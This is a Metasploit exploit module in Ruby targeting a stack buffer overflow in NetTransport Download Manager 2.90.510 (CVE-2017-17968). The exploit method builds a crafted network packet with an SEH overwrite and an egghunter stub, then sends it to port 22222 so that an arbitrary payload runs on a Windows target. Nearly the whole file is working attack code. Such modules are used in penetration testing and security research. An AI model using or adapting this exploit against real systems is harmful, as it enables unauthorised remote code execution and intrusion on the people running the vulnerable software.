##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Egghunter
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'NetTransport Download Manager 2.90.510 Buffer Overflow',
      'Description'    => %q{
          This exploits a stack buffer overflow in NetTransport Download Manager,
        part of the NetXfer suite. This module was tested
        successfully against version 2.90.510.
      },
      'Author' 	 =>
        [
          'Lincoln',
          'dookie',
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2017-17968' ],
          [ 'OSVDB', '61435' ],
          [ 'EDB', '10911'],
        ],
      'Privileged'     => false,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh'
        },
      'Payload'        =>
        {
          'Space'    => 5000,
          'BadChars' => "\x00\x20\x0a\x0d",
          'StackAdjustment' => -3500,
          'DisableNops'     =>  'True'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows Universal', { 'Ret' => 0x10002a57 } ], # p/p/r libssl.dll
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Jan 02 2010'))

    register_options(
      [
        Opt::RPORT(22222)
      ])
  end

  def exploit
    connect

    magic_packet = "\xe3\x3d\x00\x00\x00\x01\xee\x4f\x08\xe3\x00\x0e\xae\x41\xb0\x24"
    magic_packet << "\x89\x38\x1c\xc7\x6f\x6e\x00\x00\x00\x00\xaf\x8d\x04\x00\x00\x00"
    magic_packet << "\x02\x01\x00\x01\x04\x00\x74\x65\x73\x74\x03\x01\x00\x11\x3c\x00"

    # Unleash the Egghunter!
    eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })

    sploit = magic_packet
    sploit << rand_text_alpha_upper(119)
    sploit << generate_seh_record(target.ret)
    sploit << make_nops(10)
    sploit << eh_stub
    sploit << make_nops(50)
    sploit << eh_egg

    print_status("Trying target #{target.name}...")
    sock.put(sploit)

    handler
    disconnect
  end
end
